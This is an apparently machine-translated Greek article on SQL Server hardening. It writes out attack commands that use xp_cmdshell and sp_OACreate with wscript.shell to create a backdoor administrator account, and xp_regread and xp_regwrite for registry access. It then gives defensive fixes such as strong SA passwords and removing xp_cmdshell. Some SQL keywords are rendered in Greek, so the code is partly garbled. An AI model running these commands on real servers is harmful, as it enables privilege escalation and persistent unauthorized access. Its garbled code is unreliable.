Οι αποθηκευμένες διαδικασίες είναι μια συλλογή από προ-γραμμένες δηλώσεις SQL που είναι αποθηκευμένες στον SQLServer, μεταξύ των οποίων είναι οι πιο επικίνδυνες εκτεταμένες αποθηκευμένες διαδικασίες xp_cmdshell, οι οποίες μπορούν να εκτελέσουν οποιεσδήποτε οδηγίες του λειτουργικού συστήματος και η SA είναι ο λογαριασμός διαχειριστή του Microsoft SQLServer, με τα υψηλότερα προνόμια, μπορεί να εκτελέσει εκτεταμένες αποθηκευμένες διαδικασίες και να λάβει τιμές επιστροφής, όπως εκτέλεση:
εκτελεστικός πλοίαρχος.. xp_cmdshell «Δοκιμή καθαρού χρήστη 1234 /add» και Exec Master: xp_cmdshell 'net localgroup administrators test /add'
Με αυτόν τον τρόπο, ένας χρήστης με το όνομα test, ο κωδικός πρόσβασης 1234 και τα δικαιώματα διαχειριστή προστίθενται στο σύστημα του άλλου μέρους, όπως φαίνεται στο Σχήμα 1.
Τώρα θα πρέπει να καταλάβετε γιατί λαμβάνετε τον κωδικό πρόσβασης SA και λαμβάνετε τα υψηλότερα προνόμια του συστήματος. Συχνά πολλοί διαχειριστές δικτύων δεν γνωρίζουν αυτή την κατάσταση, και έχουν κάποιους απλούς κωδικούς πρόσβασης όπως το 1234 και το 4321 για τους χρήστες SA τους, ή ακόμα και δεν ορίζουν καθόλου κωδικούς πρόσβασης, έτσι ώστε οι εισβολείς του δικτύου να μπορούν εύκολα να σαρώσουν τον κωδικό πρόσβασης SA με κάποια εργαλεία hacking και στη συνέχεια να ελέγξουν τον υπολογιστή.
Εκτός από xp_cmdshell, υπάρχουν και αποθηκευμένες διαδικασίες που μπορούν να εκμεταλλευτούν οι εισβολείς:
1. xp_regread (αυτή η εκτεταμένη αποθηκευμένη διαδικασία μπορεί να διαβάσει την τιμή που καθορίζεται στο κλειδί που καθορίζεται στο μητρώο), πώς να τη χρησιμοποιήσετε (λάβετε το όνομα του μηχανήματος):
ΔΗΛΩΝΩ@testvarchar(50) EXEC master.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\όνομα_υπολογιστή', @value_name='όνομα_υπολογιστή', @value=@test ΈΞΟΔΟΣ ΕΠΙΛΈΞΤΕ @test
2. xp_regwrite (αυτή η εκτεταμένη αποθηκευμένη διαδικασία μπορεί να γράψει την τιμή που καθορίζεται στο κλειδί που καθορίζεται στο μητρώο) και πώς να τη χρησιμοποιήσετε (γράψτε bbb στο κλειδί HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC master.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='ΛΟΓΙΣΜΙΚΌ\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Εάν ο χρήστης διαχειριστής του υπολογιστή που έχει παραβιαστεί μπορεί να περιηγηθεί στις πληροφορίες HKEY_LOCAL_MACHINE\SAM\SAM\ στο μητρώο, τότε οι δύο αποθηκευμένες διαδικασίες xp_regread και xp_regwrite μπορούν να χρησιμοποιηθούν για την κλωνοποίηση του χρήστη διαχειριστή και την απόκτηση δικαιωμάτων διαχειριστή. xp_regdeletekey. xp_regdeletevalue θα φέρει επίσης κινδύνους για την ασφάλεια του συστήματος. 3. Μια σειρά διαδικασιών αποθήκευσης που σχετίζονται με την OLE, αυτή η σειρά διαδικασιών αποθήκευσης έχει sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, χρήση:
ΔΗΛΏΣΤΕ @shell INT EXEC SP_OACREATE 'wscript.shell',@shell ΈΞΟΔΟΣ EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c δοκιμή καθαρού χρήστη 1234 /add'--
Με αυτόν τον τρόπο, το άλλο σύστημα προσθέτει έναν χρήστη με το όνομα test και έναν χρήστη με κωδικό πρόσβασης 1234 και στη συνέχεια εκτελεί:
ΔΗΛΏΣΤΕ @shell INT EXEC SP_OACREATE 'wscript.shell',@shell ΈΞΟΔΟΣ EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Δοκιμή χρήστη, προστέθηκε στην ομάδα Administrators. Λύση: Δώστε στην SA έναν κωδικό πρόσβασης που είναι αρκετά περίπλοκος ώστε να δυσκολεύει τους εισβολείς στον κυβερνοχώρο να σπάσουν. Για ασφάλεια, πρέπει επίσης να χρησιμοποιήσουμε αποθηκευμένες διαδικασίες στο SQLS sp_addextendedproc sp_dropextendedproc erver's query analyzer sp_dropextendedproc διαγράψουμε αποθηκευμένες διαδικασίες όπως το xp_cmdshell και, στη συνέχεια, να χρησιμοποιήσουμε sp_addextendedproc ανάκτηση όταν χρειάζεται. Θα πρέπει να σημειωθεί ότι η διαγραφή αποθηκευμένων διαδικασιών που σχετίζονται με το OLE μπορεί να προκαλέσει την αδυναμία χρήσης ορισμένων λειτουργιών στο Enterprise Manager και ο συντάκτης δεν συνιστά τη διαγραφή τους εδώ.
Τώρα που ξέρουμε πώς να χρησιμοποιούμε SP_OACREATE, μπορούμε να μεταβούμε στο \WINNT \system32 για να βρούμε τα cmd.exe, net.exe και net1.exe τρία αρχεία και να διαγράψουμε όλους τους χρήστες που μπορούν να έχουν πρόσβαση σε αυτά στις "Ιδιότητες" - "Ασφάλεια", έτσι ώστε να μην μπορούμε να χρησιμοποιήσουμε SP_OACREATE για να αυξήσουμε τον αριθμό των χρηστών του συστήματος και μπορούμε να προσθέσουμε χρήστες πρόσβασης όταν πρέπει να έχουμε πρόσβαση σε αυτά τα αρχεία.
|